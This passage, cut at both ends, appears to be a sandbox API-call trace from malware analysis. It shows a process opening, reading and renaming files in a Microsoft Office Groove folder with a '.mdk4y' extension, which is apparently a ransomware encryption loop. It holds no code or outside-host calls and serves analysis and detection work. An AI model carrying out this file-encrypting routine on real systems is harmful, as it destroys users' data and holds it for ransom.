dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.149] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829337900000) returned 1 [0218.150] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x8f6, lpOverlapped=0x0) returned 1 [0218.162] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829339200000) returned 1 [0218.162] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829339200000) returned 1 [0218.162] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsVersion1Warning.htm" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsversion1warning.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsVersion1Warning.htm.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsversion1warning.htm.mdk4y")) returned 1 [0218.164] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.164] AreFileApisANSI () returned 1 [0218.164] GetACP () returned 0x4e4 [0218.164] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsViewAttachmentIcons.jpg", cchWideChar=28, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsViewAttachmentIcons.jpg9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 28 [0218.164] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsViewAttachmentIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsviewattachmenticons.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.165] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829339500000) returned 1 [0218.165] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x2ee3, lpOverlapped=0x0) returned 1 [0218.166] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829339600000) returned 1 [0218.166] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829339600000) returned 1 [0218.166] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsViewAttachmentIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsviewattachmenticons.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsViewAttachmentIcons.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsviewattachmenticons.jpg.mdk4y")) returned 1 [0218.167] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.167] AreFileApisANSI () returned 1 [0218.167] GetACP () returned 0x4e4 [0218.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsViewAttachmentIconsMask.bmp", cchWideChar=32, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsViewAttachmentIconsMask.bmpRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 32 [0218.167] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsViewAttachmentIconsMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsviewattachmenticonsmask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.168] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829339800000) returned 1 [0218.168] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x638, lpOverlapped=0x0) returned 1 [0218.198] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829342800000) returned 1 [0218.198] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829342800000) returned 1 [0218.198] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsViewAttachmentIconsMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsviewattachmenticonsmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsViewAttachmentIconsMask.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsviewattachmenticonsmask.bmp.mdk4y")) returned 1 [0218.200] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.200] AreFileApisANSI () returned 1 [0218.200] GetACP () returned 0x4e4 [0218.200] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsViewFrame.html", cchWideChar=19, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsViewFrame.htmlIconsMask.bmp", lpUsedDefaultChar=0x37dda8) returned 19 [0218.200] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsViewFrame.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsviewframe.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.202] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829343200000) returned 1 [0218.202] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x1313, lpOverlapped=0x0) returned 1 [0218.210] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829344200000) returned 1 [0218.212] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829344200000) returned 1 [0218.212] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsViewFrame.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsviewframe.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsViewFrame.html.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsviewframe.html.mdk4y")) returned 1 [0218.214] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.214] AreFileApisANSI () returned 1 [0218.214] GetACP () returned 0x4e4 [0218.214] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsViewTemplate.html", cchWideChar=22, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsViewTemplate.htmlnsMask.bmp", lpUsedDefaultChar=0x37dda8) returned 22 [0218.214] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsViewTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsviewtemplate.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.230] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829346000000) returned 1 [0218.230] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xa89, lpOverlapped=0x0) returned 1 [0218.231] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829346100000) returned 1 [0218.231] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829346100000) returned 1 [0218.232] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsViewTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsviewtemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsViewTemplate.html.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsviewtemplate.html.mdk4y")) returned 1 [0218.233] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.233] AreFileApisANSI () returned 1 [0218.233] GetACP () returned 0x4e4 [0218.233] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormToolImages.jpg", cchWideChar=18, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormToolImages.jpghtml", lpUsedDefaultChar=0x37dda8) returned 18 [0218.233] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormToolImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formtoolimages.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.234] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829346400000) returned 1 [0218.234] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x1bfb, lpOverlapped=0x0) returned 1 [0218.235] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829346500000) returned 1 [0218.235] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829346500000) returned 1 [0218.236] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormToolImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formtoolimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormToolImages.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formtoolimages.jpg.mdk4y")) returned 1 [0218.237] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.237] AreFileApisANSI () returned 1 [0218.237] GetACP () returned 0x4e4 [0218.237] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="form_edit.js", cchWideChar=12, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="form_edit.jses.jpg", lpUsedDefaultChar=0x37dda8) returned 12 [0218.237] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\form_edit.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\form_edit.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.238] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829346800000) returned 1 [0218.238] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x23ed, lpOverlapped=0x0) returned 1 [0218.256] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829348600000) returned 1 [0218.256] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829348600000) returned 1 [0218.257] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\form_edit.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\form_edit.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\form_edit.js.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\form_edit.js.mdk4y")) returned 1 [0218.260] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.260] AreFileApisANSI () returned 1 [0218.260] GetACP () returned 0x4e4 [0218.260] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="LAUNCH.GIF", cchWideChar=10, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="LAUNCH.GIFjs", lpUsedDefaultChar=0x37dda8) returned 10 [0218.260] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\LAUNCH.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\launch.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.261] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829349100000) returned 1 [0218.261] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x267, lpOverlapped=0x0) returned 1 [0218.262] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829349200000) returned 1 [0218.262] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829349200000) returned 1 [0218.263] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\LAUNCH.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\launch.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\LAUNCH.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\launch.gif.mdk4y")) returned 1 [0218.273] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.273] AreFileApisANSI () returned 1 [0218.273] GetACP () returned 0x4e4 [0218.273] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="macroprogress.gif", cchWideChar=17, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="macroprogress.gifg", lpUsedDefaultChar=0x37dda8) returned 17 [0218.273] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\macroprogress.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\macroprogress.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.278] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829350800000) returned 1 [0218.278] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x30074, lpOverlapped=0x0) returned 1 [0218.302] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829353200000) returned 1 [0218.302] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829353200000) returned 1 [0218.304] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\macroprogress.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\macroprogress.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\macroprogress.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\macroprogress.gif.mdk4y")) returned 1 [0218.305] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.305] AreFileApisANSI () returned 1 [0218.305] GetACP () returned 0x4e4 [0218.305] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PublicFunctions.js", cchWideChar=18, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="PublicFunctions.js", lpUsedDefaultChar=0x37dda8) returned 18 [0218.305] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\PublicFunctions.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\publicfunctions.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.307] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829353700000) returned 1 [0218.307] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x1018, lpOverlapped=0x0) returned 1 [0218.308] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829353800000) returned 1 [0218.308] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829353800000) returned 1 [0218.309] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\PublicFunctions.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\publicfunctions.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\PublicFunctions.js.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\publicfunctions.js.mdk4y")) returned 1 [0218.310] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.310] AreFileApisANSI () returned 1 [0218.310] GetACP () returned 0x4e4 [0218.310] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="rtf_alignleft.gif", cchWideChar=17, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="rtf_alignleft.gifs", lpUsedDefaultChar=0x37dda8) returned 17 [0218.310] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_alignleft.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_alignleft.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.311] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829354100000) returned 1 [0218.311] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x350, lpOverlapped=0x0) returned 1 [0218.336] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829356600000) returned 1 [0218.336] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829356600000) returned 1 [0218.336] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_alignleft.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_alignleft.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_alignleft.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_alignleft.gif.mdk4y")) returned 1 [0218.338] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.338] AreFileApisANSI () returned 1 [0218.339] GetACP () returned 0x4e4 [0218.339] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="rtf_alignright.gif", cchWideChar=18, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="rtf_alignright.gif", lpUsedDefaultChar=0x37dda8) returned 18 [0218.339] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_alignright.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_alignright.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.345] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829357500000) returned 1 [0218.346] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x34f, lpOverlapped=0x0) returned 1 [0218.347] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829357700000) returned 1 [0218.347] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829357700000) returned 1 [0218.347] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_alignright.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_alignright.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_alignright.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_alignright.gif.mdk4y")) returned 1 [0218.348] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.348] AreFileApisANSI () returned 1 [0218.348] GetACP () returned 0x4e4 [0218.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="RTF_BOLD.GIF", cchWideChar=12, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="RTF_BOLD.GIFht.gif", lpUsedDefaultChar=0x37dda8) returned 12 [0218.348] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\RTF_BOLD.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_bold.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.349] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829357900000) returned 1 [0218.349] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x366, lpOverlapped=0x0) returned 1 [0218.371] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829360100000) returned 1 [0218.371] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829360100000) returned 1 [0218.371] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\RTF_BOLD.GIF" (normalized: "c:\\program 